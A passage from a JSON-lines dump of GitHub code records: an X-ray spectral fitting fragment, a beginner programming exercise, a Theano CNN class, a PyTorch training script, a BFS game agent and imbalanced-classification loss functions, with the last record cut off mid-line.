Milky Way\nset_par(nhgal.nh, val=0.04, frozen=True)\n\n## set the parameters in the redshifted powerlaw\nset_par(mypow.phoindex, val=1.8, min=-3., max=10., frozen=False)\nset_par(mypow.redshift, val=0.05, frozen=True)\nset_par(mypow.norm, val=1.e-5, min=1.e-10, max=1.e-1, frozen=False)\n\n## set model1 to the dataset that was loaded\nset_source(1, model1)\n\n## plot the data before running fit to check everything looks ok\nplot_fit(xlog=True, ylog=True)\n\n## perform a Levenberg-Marquardt fit\nfit()\n\n","repo_name":"pboorm/xray_spectral_fitting","sub_path":"exercise4/sherpa.py","file_name":"sherpa.py","file_ext":"py","file_size_in_byte":1000,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"11145884781","text":"import math\n\ncontinuar = 1\nwhile continuar != 0:\n a, b, c = input().split(\" \")\n a = int(a)\n b = int(b)\n c = int(c)\n\n if a == 0 or b == 0 or c == 0:\n continuar = 0\n\n else:\n area_da_casa = a * b\n lado_minimo_casa = math.sqrt(area_da_casa)\n lado_minimo_terreno = lado_minimo_casa * 100 // c\n\n print(lado_minimo_terreno)\n continuar = 1","repo_name":"nec0/beecrowd","sub_path":"iniciante/1543.py","file_name":"1543.py","file_ext":"py","file_size_in_byte":392,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"16488093039","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun Dec 16 13:38:07 2018\r\n\r\n@author: gela\r\n\"\"\"\r\n\r\nimport numpy as np\r\nimport theano as theako\r\nimport theano.tensor as T\r\nfrom theano.tensor.signal.pool import pool_2d\r\nfrom Nafo.basic_functions import error_rate, y2ind, shuffle\r\n\r\n\r\n\r\n'''\r\n\r\n\r\nTHIS IS GOING TO BE VERY PAINFUN \r\n\r\nPAINFUN...\r\n\r\n\r\n'''\r\n\r\n\r\n\r\nclass Convoutional_Neural_net(object):\r\n\r\n \r\n def get_shape(self):\r\n shape = self.shape_x\r\n for i in range(len(self.CNN)):\r\n filter_w_h = np.int32(self.CNN[i][0][2])\r\n shape = shape - filter_w_h + 1\r\n poolise_tup = self.CNN[i][2]\r\n if poolise_tup != 0:\r\n shape = np.floor(shape/poolise_tup[0])\r\n \r\n if not self.isvector:\r\n shape_squared = shape**2\r\n else:\r\n shape_squared = shape\r\n \r\n \r\n \r\n # shape = np.int32(shape*layer[0][0])\r\n self.shape_ann_first = np.int32(shape_squared*self.CNN[i][0][0])\r\n return None\r\n \r\n def __init__(self, CNN = [], ANN = [], shape_x = 128, isvector = False):\r\n #WORKS AS EXPECTED\r\n \r\n \r\n '''\r\n \r\n FOR CNN ONLY\r\n \r\n SO I EXPECT THERE TO BE LIST OF TUPLES EACH ONE CONTAINING\r\n \r\n (*shape, activation, ws)\r\n \r\n EXAMPLE\r\n \r\n ((10, 1, 5, 5), T.nnet.relu, (2,2))\r\n \r\n IT MEANS 10 filters with one color channel, width = 5, height = 5\r\n \r\n '''\r\n self.weights_optimized = False\r\n self.CNN = CNN\r\n self.ANN = ANN\r\n self.shape_x = shape_x\r\n self.isvector = isvector;\r\n self.get_shape()\r\n \r\n '''\r\n \r\n initialize CNN filters first with numpy random arrays\r\n \r\n '''\r\n self.ws_init_cnn = []\r\n \r\n #number_of_conv_layers = len(self.CNN)\r\n \r\n for layer in self.CNN:\r\n shape = layer[0] # (N, C, W, H)\r\n N = shape[0]\r\n C = shape[1]\r\n W = shape[2]\r\n H = shape[3]\r\n \r\n # N is number of filters\r\n # C is color channels \r\n # W = width\r\n # H = height\r\n \r\n temp_initial_weights = np.abs(np.random.randn(N,C,W,H))\r\n temp_initial_bias = np.abs(np.zeros(N, dtype = np.float32))\r\n self.ws_init_cnn.append((temp_initial_weights.astype(np.float32), temp_initial_bias))\r\n \r\n\r\n #now initialize theano variables, shared\r\n \r\n \r\n self.ws_theano_cnn = []\r\n self.dws_theano_cnn = []\r\n i = 0\r\n for weight in self.ws_init_cnn:\r\n theano_shared_weight = theako.shared(weight[0], 'filter ' + str(i))\r\n theano_shared_bias = theako.shared(weight[1], 'bias ' + str(i))\r\n \r\n self.ws_theano_cnn.append((theano_shared_weight, theano_shared_bias))\r\n shape_w = weight[0].shape\r\n shape_b = weight[1].shape\r\n self.dws_theano_cnn.append((theako.shared(np.zeros(shape_w).astype(np.float32)),\r\n theako.shared(np.zeros(shape_b).astype(np.float32))))\r\n \r\n i += 1\r\n \r\n '''\r\n \r\n THEANO SHARED VARS ARE NOW INITIALIZED FOR CNN\r\n \r\n '''\r\n \r\n self.ws_init_ann = []\r\n i = 0\r\n for layer in self.ANN:\r\n shape = layer[0]\r\n N, D = shape\r\n if i == 0:\r\n\r\n \r\n #self.shape_ann_first\r\n temp_init_weight_ann = (np.random.randn(self.shape_ann_first,D)).astype(np.float32)\r\n temp_init_bias_ann = np.zeros(D, dtype = np.float32)\r\n self.ws_init_ann.append((temp_init_weight_ann, temp_init_bias_ann))\r\n \r\n else:\r\n temp_init_weight_ann = np.random.randn(N,D).astype(np.float32)\r\n temp_init_bias_ann = np.zeros(D).astype(np.float32)\r\n self.ws_init_ann.append((temp_init_weight_ann, temp_init_bias_ann))\r\n \r\n i += 1\r\n \r\n #end loop \r\n \r\n \r\n self.ws_theano_ann = [] \r\n self.dws_theano_ann = []\r\n \r\n for weight in self.ws_init_ann:\r\n theano_shared_weight = theako.shared(weight[0])\r\n theano_shared_bias = theako.shared(weight[1])\r\n self.ws_theano_ann.append((theano_shared_weight, theano_shared_bias))\r\n shape_w = weight[0].shape\r\n shape_b = weight[1].shape\r\n self.dws_theano_ann.append((theako.shared(np.zeros(shape_w).astype(np.float32)),\r\n theako.shared(np.zeros(shape_b).astype(np.float32))))\r\n \r\n \r\n del self.ws_init_ann\r\n del self.ws_init_cnn\r\n del i \r\n del layer\r\n del weight\r\n \r\n #self.ws_theano_cnn\r\n # [(filter 0, bias 0), (filter 1, bias 1)] ...\r\n #self.ws_theano_ann\r\n # [(, )] ...\r\n \r\n #also self.dw_theano cnn and ann\r\n return None\r\n \r\n \r\n \r\n def fit(self, \r\n X, \r\n Y,\r\n lr_cnn = 1e-6, \r\n lr_ann = 1e-6, \r\n mu_cnn = 0.99,\r\n mu_ann = 0.99,\r\n epoch = 200,\r\n batch_size = 100,\r\n print_period = 100):\r\n \r\n lr_cnn = np.float32(lr_cnn)\r\n lr_ann = np.float32(lr_ann)\r\n mu_ann = np.float32(mu_ann)\r\n mu_cnn = np.float32(mu_cnn)\r\n nbatches = int(np.floor(len(X)/batch_size))\r\n\r\n \r\n \r\n '''\r\n \r\n \r\n now I should create theano map for convoutional neural net\r\n \r\n it must be more PAINFUN I think...\r\n \r\n \r\n '''\r\n Y2 = y2ind(Y, len(set(Y))).astype(np.int32)\r\n \r\n #THIS SI to BE IMPLEMENTED\r\n \r\n '''\r\n \r\n conv = T.ReLU(X.conv(W1) + b.dimshuffle())\r\n pooled = maxpool(conv, (2,2))\r\n \r\n repeat same\r\n \r\n \r\n flatten\r\n \r\n fully connected neural network\r\n \r\n '''\r\n \r\n len_cnn = len(self.CNN)\r\n \r\n #self.ws_theano_cnn\r\n # [(filter 0, bias 0), (filter 1, bias 1)] ...\r\n #self.ws_theano_ann\r\n # [(, )] ...\r\n \r\n #also self.dw_theano cnn and ann\r\n \r\n Xth = T.tensor4('gela', dtype = 'float32')\r\n Yth = theako.tensor.matrix('Y', dtype = 'int32')\r\n\r\n conv_out = T.nnet.conv2d(Xth,self.ws_theano_cnn[0][0])\r\n \r\n if self.CNN[0][2] != 0:\r\n pooled = pool_2d(conv_out, ws = self.CNN[0][2], ignore_border = True, mode = 'max')\r\n else: \r\n pooled = conv_out\r\n \r\n activated = self.CNN[0][1](pooled + self.ws_theano_cnn[0][1].dimshuffle('x', 0, 'x', 'x'))\r\n \r\n for i in range(1, len_cnn - 1):\r\n conv_out = T.nnet.conv2d(activated, self.ws_theano_cnn[i][0])\r\n if self.CNN[i][2] != 0:\r\n pooled = pool_2d(conv_out, ws = self.CNN[i][2], ignore_border = True, mode = 'max')\r\n else: \r\n pooled = conv_out\r\n activated = self.CNN[i][1](pooled + self.ws_theano_cnn[i][1].dimshuffle('x', 0, 'x', 'x'))\r\n\r\n\r\n conv_out = T.nnet.conv2d(activated, self.ws_theano_cnn[len_cnn - 1][0])\r\n \r\n if self.CNN[len_cnn - 1][2] != 0:\r\n pooled = pool_2d(conv_out, ws = self.CNN[len_cnn - 1][2], ignore_border = True, mode = 'max')\r\n else: \r\n pooled = conv_out\r\n \r\n activated = self.CNN[len_cnn - 1][1](pooled + self.ws_theano_cnn[len_cnn - 1][1].dimshuffle('x', 0, 'x', 'x')) \r\n \r\n '''\r\n \r\n NOW ANN PART\r\n \r\n \r\n '''\r\n \r\n Z = self.ANN[0][1](activated.flatten(ndim = 2).dot(self.ws_theano_ann[0][0]) + self.ws_theano_ann[0][1]) \r\n \r\n \r\n for i in range(1, len(self.ANN)):\r\n dot_prod = Z.dot(self.ws_theano_ann[i][0]) + self.ws_theano_ann[i][1]\r\n Z = self.ANN[i][1](dot_prod) #activation\r\n \r\n #last layer should be fostmax\r\n \r\n # Z = T.log(Z)\r\n \r\n cost = -((Yth*T.log(Z)).sum())\r\n \r\n Y_hat = Z.argmax(axis = 1)\r\n \r\n '''\r\n now weight updates\r\n '''\r\n \r\n updates_array = []\r\n \r\n for i in range(0, len(self.CNN)):\r\n \r\n gradient_weight_cost = T.grad(cost, self.ws_theano_cnn[i][0])\r\n gradient_bias_cost = T.grad(cost, self.ws_theano_cnn[i][1])\r\n \r\n W_up = self.ws_theano_cnn[i][0] + mu_cnn*self.dws_theano_cnn[i][0] - lr_cnn*gradient_weight_cost\r\n b_up = self.ws_theano_cnn[i][1] + mu_cnn*self.dws_theano_cnn[i][1] - lr_cnn*gradient_bias_cost\r\n dW_up = W_up - self.ws_theano_cnn[i][0]\r\n db_up = b_up - self.ws_theano_cnn[i][1]\r\n updates_array.append((self.ws_theano_cnn[i][0], W_up))\r\n updates_array.append((self.ws_theano_cnn[i][1], b_up))\r\n updates_array.append((self.dws_theano_cnn[i][0], dW_up))\r\n updates_array.append((self.dws_theano_cnn[i][1], db_up))\r\n\r\n ## graded = W_up.eval()\r\n # print(graded)\r\n\r\n for i in range(0, len(self.ANN)):\r\n \r\n gradient_weight_cost = T.grad(cost, self.ws_theano_ann[i][0])\r\n gradient_bias_cost = T.grad(cost, self.ws_theano_ann[i][1]) \r\n \r\n W_upa = self.ws_theano_ann[i][0] + mu_ann*self.dws_theano_ann[i][0] - lr_ann*gradient_weight_cost\r\n b_upa = self.ws_theano_ann[i][1] + mu_ann*self.dws_theano_ann[i][1] - lr_ann*gradient_bias_cost\r\n dW_upa = W_upa - self.ws_theano_ann[i][0]\r\n db_upa = b_upa -self.ws_theano_ann[i][1]\r\n \r\n updates_array.append((self.ws_theano_ann[i][0], W_upa))\r\n updates_array.append((self.ws_theano_ann[i][1], b_upa))\r\n updates_array.append((self.dws_theano_ann[i][0], dW_upa))\r\n updates_array.append((self.dws_theano_ann[i][1], db_upa))\r\n \r\n \r\n \r\n predict = theako.function(inputs = [Xth, Yth], outputs = [Y_hat, cost], on_unused_input = 'ignore')\r\n train = theako.function(inputs = [Xth, Yth], updates = updates_array, on_unused_input = 'ignore')\r\n # get_filter = theako.function(inputs = [], outputs = self.ws_theano_cnn[0])\r\n \r\n # FILT = self.ws_theano_ann[1][1].eval()\r\n # print(FILT)\r\n \r\n for i in range(0, epoch):\r\n for j in range(nbatches):\r\n X_shuffled, Y2_shuffled = shuffle(X, Y2, shuffles = 1000)\r\n X_batch = X_shuffled[j*batch_size:j*batch_size + batch_size]\r\n Y_batch = Y2_shuffled[j*batch_size:j*batch_size + batch_size]\r\n train(X_batch, Y_batch)\r\n if i % print_period == 0:\r\n print('iteration ' + str(i) + ' batch ' + str(j + 1))\r\n print('error rate ')\r\n pred, cst = predict(X, Y2)\r\n err = error_rate(Y, pred)\r\n print(err)\r\n print(cst)\r\n\r\n\r\n self.weights_optimized = True\r\n return pred\r\n \r\n\r\n\r\n\r\n\r\n def predict(self, X, Y = 0):\r\n #WORKS AS EXPECTED \r\n if self.weights_optimized == False:\r\n print('Weights are not optimised !!!')\r\n return 0\r\n \r\n Xth_pred = T.tensor4('gela1', dtype = 'float32')\r\n\r\n len_cnn = len(self.CNN)\r\n conv_out = T.nnet.conv2d(Xth_pred,self.ws_theano_cnn[0][0])\r\n pooled = pool_2d(conv_out, ws =self.CNN[0][2], ignore_border = True, mode = 'max')\r\n activated = self.CNN[0][1](pooled + self.ws_theano_cnn[0][1].dimshuffle('x', 0, 'x', 'x'))\r\n \r\n for i in range(1, len_cnn - 1):\r\n conv_out = T.nnet.conv2d(activated, self.ws_theano_cnn[i][0])\r\n pooled = pool_2d(conv_out, ws = self.CNN[i][2], ignore_border = True, mode = 'max')\r\n activated = self.CNN[i][1](pooled + self.ws_theano_cnn[i][1].dimshuffle('x', 0, 'x', 'x'))\r\n\r\n\r\n conv_out = T.nnet.conv2d(activated, self.ws_theano_cnn[len_cnn - 1][0])\r\n pooled = pool_2d(conv_out, ws = self.CNN[len_cnn - 1][2], ignore_border = True, mode = 'max')\r\n activated = self.CNN[len_cnn - 1][1](pooled + self.ws_theano_cnn[len_cnn - 1][1].dimshuffle('x', 0, 'x', 'x')) \r\n \r\n '''\r\n \r\n NOW ANN PART\r\n \r\n \r\n '''\r\n \r\n Z = self.ANN[0][1](activated.flatten(ndim = 2).dot(self.ws_theano_ann[0][0]) + self.ws_theano_ann[0][1]) \r\n \r\n \r\n for i in range(1, len(self.ANN)):\r\n dot_prod = Z.dot(self.ws_theano_ann[i][0]) + self.ws_theano_ann[i][1]\r\n Z = self.ANN[i][1](dot_prod) #activation\r\n \r\n #last layer should be fostmax\r\n\r\n pred = Z.argmax(axis = 1)\r\n \r\n predict_op = theako.function(inputs = [Xth_pred], outputs = [pred])\r\n \r\n prediction = predict_op(X)\r\n if type(Y) != type(0):\r\n error = error_rate(prediction, Y)\r\n print('error rate')\r\n print(error)\r\n\r\n return prediction\r\n \r\n def set_weights(self, CNN_weights_bias, ANN_weights_bias):\r\n #NOT TESTED YET\r\n \r\n ''' \r\n \r\n AQ VELIT \r\n \r\n CNN = [ (filter, bias ), (filter, bias) ... ]\r\n \r\n ANN = [ (weight, bias), (weight, bias) ... ]\r\n \r\n \r\n '''\r\n \r\n self.CNN_weights_bias = CNN_weights_bias\r\n self.ANN_weights_bias = ANN_weights_bias\r\n \r\n #self.ws_theano_cnn\r\n #self.ws_theano_ann\r\n \r\n if len(self.CNN_weights_bias) != len(self.ws_theano_cnn):\r\n print('Numbers of layers do not match in Convoutional Leyer!!!')\r\n return 0\r\n\r\n if len(self.ANN_weights_bias) != len(self.ws_theano_ann):\r\n print('Numbers of layers do not match in Convoutional Leyer!!!')\r\n return 0 \r\n \r\n \r\n for i in range(len(self.ws_theano_cnn)):\r\n filt = self.CNN_weight_bias[i][0]\r\n bias = self.CNN_weight_bias[i][1]\r\n \r\n self.ws_theano_cnn[i][0].set_value(filt)\r\n self.ws_theano_cnn[i][1].set_value(bias)\r\n \r\n '''\r\n \r\n NOW FOR ANN LAYER\r\n \r\n '''\r\n \r\n for i in range(len(self.ws_theano_ann)):\r\n weight = self.ws_theano_ann[i][0]\r\n bias = self.ws_theano_ann[i][1]\r\n \r\n self.ws_theano_ann[i][0].set_value(weight)\r\n self.ws_theano_ann[i][1].set_value(bias) \r\n \r\n self.weights_optimized = True\r\n print('Sucesfully set values of filters weights and biases', end = '\\n')\r\n self.weights_optimized = True\r\n return 0\r\n \r\n \r\n \r\n def get_weights(self, makefile = True):\r\n #WORKS AS EXPECTED\r\n \r\n '''\r\n even though you could just grab weights since they are not private variabled\r\n it is nice practice to be able to get these weights with a funcion so I will not be confused\r\n \r\n jsut returns self.cnn and self.ann\r\n \r\n\r\n \r\n AQ VABRUNEBT\r\n \r\n CNN = [ (filter, bias ), (filter, bias) ... ]\r\n \r\n ANN = [ (weight, bias), (weight, bias) ... ]\r\n \r\n \r\n \r\n NOTE THAT IT RETURNS FLATTENED COEFFICIENTS, IT CAN ALSO CREATE DAT \r\n \r\n '''\r\n cnn_weights_array = []\r\n ann_weights_array = []\r\n \r\n for i in range(len(self.ws_theano_cnn)):\r\n filt = self.ws_theano_cnn[i][0]\r\n bias_filt = self.ws_theano_cnn[i][1]\r\n \r\n filt = filt.flatten(ndim = 2)\r\n \r\n \r\n filt_np = np.array(filt.eval()).astype(np.float32)\r\n bias_filt_np = np.array(bias_filt.eval()).astype(np.float32)\r\n \r\n cnn_weights_array.append((filt_np, bias_filt_np))\r\n \r\n if makefile:\r\n filt_np.tofile('filt' + str(i) + '.dat')\r\n bias_filt_np.tofile('bias_filt' + str(i) + '.dat')\r\n \r\n\r\n\r\n \r\n for j in range(len(self.ws_theano_ann)):\r\n weight = self.ws_theano_ann[j][0]\r\n bias = self.ws_theano_ann[j][1]\r\n \r\n weight_np = np.array(weight.eval()).astype(np.float32)\r\n bias_np = np.array(bias.eval()).astype(np.float32)\r\n \r\n ann_weights_array.append((weight_np, bias_np)) \r\n \r\n if makefile:\r\n \r\n weight_np.tofile('weight' + str(j) + '.dat')\r\n bias_np.tofile('bias_weight' + str(j) + '.dat')\r\n \r\n print('SUCESFULLY RETREIVED COEFFICIENTS')\r\n return cnn_weights_array, ann_weights_array\r\n\r\n\r\n def load_from_files(self, datatype = np.float32):\r\n \r\n '''\r\n this function is a bit harder since you \r\n (I) also have to take shapes into consideration...\r\n '''\r\n \r\n \r\n for i in range(len(self.CNN)):\r\n shape = self.CNN[i][0] #returns shape of filters \r\n N = shape[0]\r\n C = shape[1]\r\n W = shape[2]\r\n H = shape[3]\r\n \r\n filter_np = np.fromfile('filt' + str(i) + '.dat', dtype = datatype) \r\n filter_np = filter_np.reshape(N, C, W, H)\r\n bias_filt_np = np.fromfile('bias_filt' + str(i) + '.dat', dtype = datatype)\r\n \r\n self.ws_theano_cnn[i][0].set_value(filter_np)\r\n self.ws_theano_cnn[i][1].set_value(bias_filt_np)\r\n \r\n \r\n \r\n \r\n for j in range(0, len(self.ANN)):\r\n \r\n if j == 0:\r\n shape = (self.shape_ann_first, self.ANN[j][0][1]) #shape is ('x', N) self.ann_shape_first to be added\r\n m, n = shape\r\n else:\r\n \r\n shape = self.ANN[j][0]\r\n m, n = shape\r\n\r\n \r\n weight_np = np.fromfile('weight' + str(j) + '.dat', dtype = datatype)\r\n weight_np = weight_np.reshape(m, n)\r\n bias_weight_np = np.fromfile('bias_weight' + str(j) + '.dat', dtype = datatype)\r\n \r\n self.ws_theano_ann[j][0].set_value(weight_np)\r\n self.ws_theano_ann[j][1].set_value(bias_weight_np)\r\n \r\n self.weights_optimized = True\r\n\r\n print('Weights loaded sucesfully')\r\n print(\"You can run predict function or grab weights written in arrays\")\r\n\r\n\r\n\r\n'''\r\n\r\nshapeebis mushobs 'gasuratebul' veqtorebze tu shapes miscem tavidan eg 784 tu array aris (1000, 1, 784, 1)...\r\n\r\nCONGRATULATIONS...\r\n\r\n'''\r\n \r\n \r\n \r\n \r\n \r\n \r\n","repo_name":"hashtala/Nafo","sub_path":"cnn_theano.py","file_name":"cnn_theano.py","file_ext":"py","file_size_in_byte":19477,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"43079544530","text":"import numpy as np\r\nimport pandas as pd\r\nimport seaborn as sns\r\nimport torch\r\nimport torch.nn as nn\r\nimport torch.nn.functional as F\r\nimport torch.optim as optim\r\nimport torchvision.transforms as transforms\r\nfrom torch.autograd import Variable\r\nfrom torch.utils.data import TensorDataset, DataLoader\r\nfrom torch.optim.lr_scheduler import MultiStepLR\r\nfrom sklearn.metrics.pairwise import cosine_similarity\r\nfrom numpy import linalg as LA\r\nfrom sklearn.preprocessing import LabelEncoder\r\nimport matplotlib.pyplot as plt\r\nfrom mpl_toolkits.mplot3d import Axes3D\r\nimport matplotlib.tri as mtri\r\nfrom sklearn.preprocessing import Normalizer, StandardScaler, MinMaxScaler\r\nimport itertools\r\nfrom sklearn.metrics import accuracy_score, classification_report, f1_score, precision_score, recall_score, mean_squared_error, roc_auc_score\r\ndevice = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\r\nfrom AIMAP_networks import Encoder, Decoder, AE, NCF, MultiLayerPerceptron\r\nfrom AIMAP_trainer import train, test, fit\r\n\r\n\r\n\r\n\r\n#load the metadata and pipeline embedding vectors\r\ninput_dim = 50\r\nlatent_dim = 2\r\nscaler = StandardScaler()\r\nencoder1 = Encoder(input_dim , latent_dim)\r\nencoder2 = Encoder(input_dim, latent_dim)\r\ndecoder = NCF(latent_dim, mlp_dims=(32,16,8,4), dropout=0.5)\r\ndatasets_dense_df = pd.read_csv('datasets_metadata_vec_v2.csv')\r\ndatasets_dense = datasets_dense_df.values\r\npipelines_glove_df = pd.read_csv('pipelines_embedding_vec_v2.csv')\r\npipelines_dense = pipelines_glove_df.values\r\n\r\nprint(datasets_dense.shape,pipelines_dense.shape)\r\nscaler.fit(datasets_dense)\r\ndatasets_dense =scaler.transform(datasets_dense)\r\nscaler.fit(pipelines_dense)\r\npipelines_dense =scaler.transform(pipelines_dense)\r\n#crate torch dataset and data loader for meta data and pipeline embeddings\r\ndatasets_dense_torch = torch.from_numpy(datasets_dense)\r\npipelines_dense_torch = torch.from_numpy(pipelines_dense)\r\ndatasets_data = TensorDataset(datasets_dense_torch)\r\npipelines_data = TensorDataset(pipelines_dense_torch)\r\ndatasets_loader = DataLoader(datasets_data, batch_size= len(datasets_data), num_workers=0)\r\npipelines_loader = DataLoader(pipelines_data, batch_size= len(pipelines_data), num_workers=0)\r\n__ , datasets_X = next(enumerate(datasets_loader))\r\n__ , pipelines_X = next(enumerate(pipelines_loader))\r\ndatasets_X = datasets_X[0].float().to(device)\r\npipelines_X = pipelines_X[0].float().to(device)\r\n\r\n\r\n\r\n\r\n#load the dataset-pipeline interaction performances:\r\ndp_interaction_df = pd.read_csv('Dataset_Pipeline_interaction.csv')\r\ndp_interaction = dp_interaction_df.values\r\n#torch dataset and data loader\r\ntrain_length = int(len(dp_interaction[:,0]) * 0.8)\r\ntest_length = len(dp_interaction[:,0]) - train_length\r\nfeatures = torch.from_numpy(dp_interaction[:,:2])\r\nscores = torch.from_numpy(dp_interaction[:,2])\r\nbin_targets = torch.from_numpy(dp_interaction[:,3])\r\nall_data = TensorDataset(features, bin_targets, scores)\r\ntrain_data, test_data = torch.utils.data.random_split(all_data, (train_length, test_length))\r\ntrain_batch_size = 64\r\ntest_batch_size = 64\r\ntrain_loader = DataLoader(train_data, batch_size=train_batch_size, num_workers=0)\r\ntest_loader = DataLoader(test_data, batch_size=test_batch_size, num_workers=0)\r\n\r\n\r\n\r\n\r\n#model configurations:\r\nautoencoder1 = AE(input_dim=50 , latent_dim=2)\r\nautoencoder1 = autoencoder1.to(device)\r\nautoencoder2 = AE(input_dim=50 , latent_dim=2)\r\nautoencoder2 = autoencoder2.to(device)\r\ndecoder = NCF(latent_dim=2, mlp_dims=(16,8,4), dropout=0.1)\r\ndecoder = decoder.to(device)\r\n\r\ncriterion1 = nn.CrossEntropyLoss()\r\ncriterion2 = nn.MSELoss()\r\nparams = list(decoder.parameters()) + list(autoencoder1.parameters()) + list(autoencoder2.parameters())\r\noptimizer = optim.Adam(params, lr=0.01, amsgrad=False)\r\n# scheduler = MultiStepLR(optimizer, milestones=[5,10,15,20,30,40,45], gamma=0.7)\r\n\r\n\r\n#fit the model\r\nEPOCHS = 20\r\nmodels = (autoencoder1, autoencoder2, decoder)\r\ncriterions = (criterion1, criterion2)\r\nalpha1 = 1\r\nalpha2 = alpha3 = 2\r\nalpha4 = 0.00001\r\nfit(EPOCHS, train_loader, test_loader, datasets_X, pipelines_X, models, criterions, optimizer, alpha1, alpha2, alpha3, alpha4)\r\n\r\n\r\n#load a pre-trained model:\r\n#load models:\r\n# PATH = 'AIMAP/saved_models/encoder1_VAE-NCF_epoch15_1lambda1_10lambda2_10lambda3_e-5lambda4.pkl'\r\n# autoencoder1 = torch.load(PATH).to(device)\r\n# PATH = 'AIMAP/saved_models/ecoder2_VAE-NCF_epoch15_1lambda1_10lambda2_10lambda3_e-5lambda4.pkl'\r\n# autoencoder2 = torch.load(PATH).to(device)\r\n# PATH = 'AIMAP/saved_models/decoder_VAE-NCF_epoch15_1lambda1_10lambda2_10lambda3_e-5lambda4.pkl'\r\n# decoder = torch.load(PATH).to(device)\r\n\r\n\r\n# #visualize latents:\r\n# datasets_embed, __, __ = autoencoder1.enc.forward(datasets_dense_torch.float().to(device))\r\n# datasets_embed = datasets_embed.cpu().detach().numpy()\r\n\r\n","repo_name":"XiaoyuChenUofL/World-Map-of-AI","sub_path":"AIMAP.py","file_name":"AIMAP.py","file_ext":"py","file_size_in_byte":4801,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"11509392546","text":"import random\nfrom copy import deepcopy\nfrom env import Env\nimport json\n\nclass Agent:\n def __init__(self, perceive_func=None, agent_id=None):\n self.perceive_func = perceive_func\n self.my_id = agent_id\n\n ######### EDITABLE SECTION #########\n\n self.predicted_actions = []\n\n ######### END OF EDITABLE SECTION #########\n\n def act(self):\n sensor_data = self.perceive_func(self)\n sensor_data['Current_Env'] = Env([1], [1]).from_json(**json.loads(sensor_data['Current_Env'])['state'])\n\n ######### EDITABLE SECTION #########\n\n if self.predicted_actions==[]: self.predicted_actions=self.bfs(sensor_data['Current_Env'])\n action=self.predicted_actions.pop()\n\n ######### END OF EDITABLE SECTION #########\n\n return action\n\n ######### VV EDITABLE SECTION VV #########\n def bfs(self, game):\n q = []\n q.append([game, []])\n while q:\n\n\n node = q.pop(0)\n\n\n if node[0].goal_test():\n return node[1]\n\n\n actions_list = [\"right\", \"left\", \"up\", \"down\"]\n random.shuffle(actions_list)\n\n for action in actions_list:\n child_game = node[0].create_copy()\n if 'has died' not in child_game.take_action(action, self.my_id):\n q.append([child_game, [action] + node[1]])","repo_name":"Ghazal-Danaei/AI_project","sub_path":"BFS/agent.py","file_name":"agent.py","file_ext":"py","file_size_in_byte":1369,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"75144268035","text":"import math\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport numpy as np\nfrom torch.distributions import normal\n\n\ndef focal_loss(input_values, gamma):\n \"\"\"Computes the focal loss\"\"\"\n p = torch.exp(-input_values) #目标类概率\n loss = (1 - p.detach()) ** gamma * input_values\n return loss.mean()\n\n\nclass FocalLoss(nn.Module):\n def __init__(self, weight=None, gamma=0.):\n super(FocalLoss, self).__init__()\n assert gamma >= 0\n self.gamma = gamma\n self.weight = weight\n\n def forward(self, input, target):\n return focal_loss(F.cross_entropy(input, target, reduction='none', weight=self.weight), self.gamma)\n\n\nclass LDAMLoss(nn.Module):\n \n def __init__(self, cls_num_list, max_m=0.5, weight=False, s=30):\n super(LDAMLoss, self).__init__()\n m_list = 1.0 /np.sqrt(np.sqrt(cls_num_list))\n m_list = m_list * (max_m / np.max(m_list))\n m_list = torch.cuda.FloatTensor(m_list)\n self.m_list = m_list\n assert s > 0\n self.s = s\n self.weight = weight\n\n def forward(self, x, target):\n index = torch.zeros_like(x, dtype=torch.uint8)\n index.scatter_(1, target.data.view(-1, 1), 1) #one-hot\n \n index_float = index.type(torch.cuda.FloatTensor)\n batch_m = torch.matmul(self.m_list[None, :], index_float.transpose(0,1)) #取得对应位置的m self.m_list\n batch_m = batch_m.view((-1, 1))\n x_m = x - batch_m\n \n output = torch.where(index, x_m, x) #x的index位置换成x_m\n \n return F.cross_entropy(self.s*output, target, weight=self.weight) #weight=self.weight\n \n\nclass GCLLoss(nn.Module):\n \n def __init__(self, cls_num_list, m=0.5, weight=None, s=30, train_cls=False, noise_mul = 1., gamma=0.):\n super(GCLLoss, self).__init__()\n cls_list = torch.cuda.FloatTensor(cls_num_list)\n m_list = torch.log(cls_list)\n m_list = m_list.max()-m_list\n self.m_list = m_list\n assert s > 0\n self.m = m\n self.s = s\n self.weight = weight\n self.simpler = normal.Normal(0, 1/3)\n self.train_cls = train_cls\n self.noise_mul = noise_mul\n self.gamma = gamma\n \n \n def forward(self, cosine, target):\n \n # print(cosine.shape, target.shape)\n \n index = torch.zeros_like(cosine, dtype=torch.uint8)\n index.scatter_(1, target.data.view(-1, 1), 1)\n \n noise = self.simpler.sample(cosine.shape).clamp(-1, 1).to(cosine.device) #self.scale(torch.randn(cosine.shape).to(cosine.device)) \n # print(noise)\n #cosine = cosine - self.noise_mul * noise/self.m_list.max() *self.m_list \n cosine = cosine - self.noise_mul * noise.abs()/self.m_list.max() *self.m_list \n output = torch.where(index, cosine-self.m, cosine) \n if self.train_cls:\n return focal_loss(F.cross_entropy(self.s*output, target, reduction='none', weight=self.weight), self.gamma)\n else: \n return F.cross_entropy(self.s*output, target, weight=self.weight) \n \nclass UniformLoss(nn.Module):\n \n def __init__(self, cls_num_list, num_class = 10, s = 30):\n super(UniformLoss, self).__init__()\n self.uniform = 1 / num_class\n self.s = s\n self.bsceloss = BSCELoss(cls_num_list).cuda()\n \n def forward(self, logit): #logit batch * class num\n # logit = F.softmax(logit * self.s, dim = 1)\n \n logit = F.softmax(logit, dim = 1)\n target = torch.ones_like(logit) * self.uniform\n # print('UFloss',target)\n # exit()\n # return self.bsceloss(logit, target) \n return F.cross_entropy(logit, target) \n \nclass MaskLoss(nn.Module):\n \n def __init__(self, target=0.5):\n super(MaskLoss, self).__init__()\n self.target = target\n \n def forward(self, mask):\n mask = 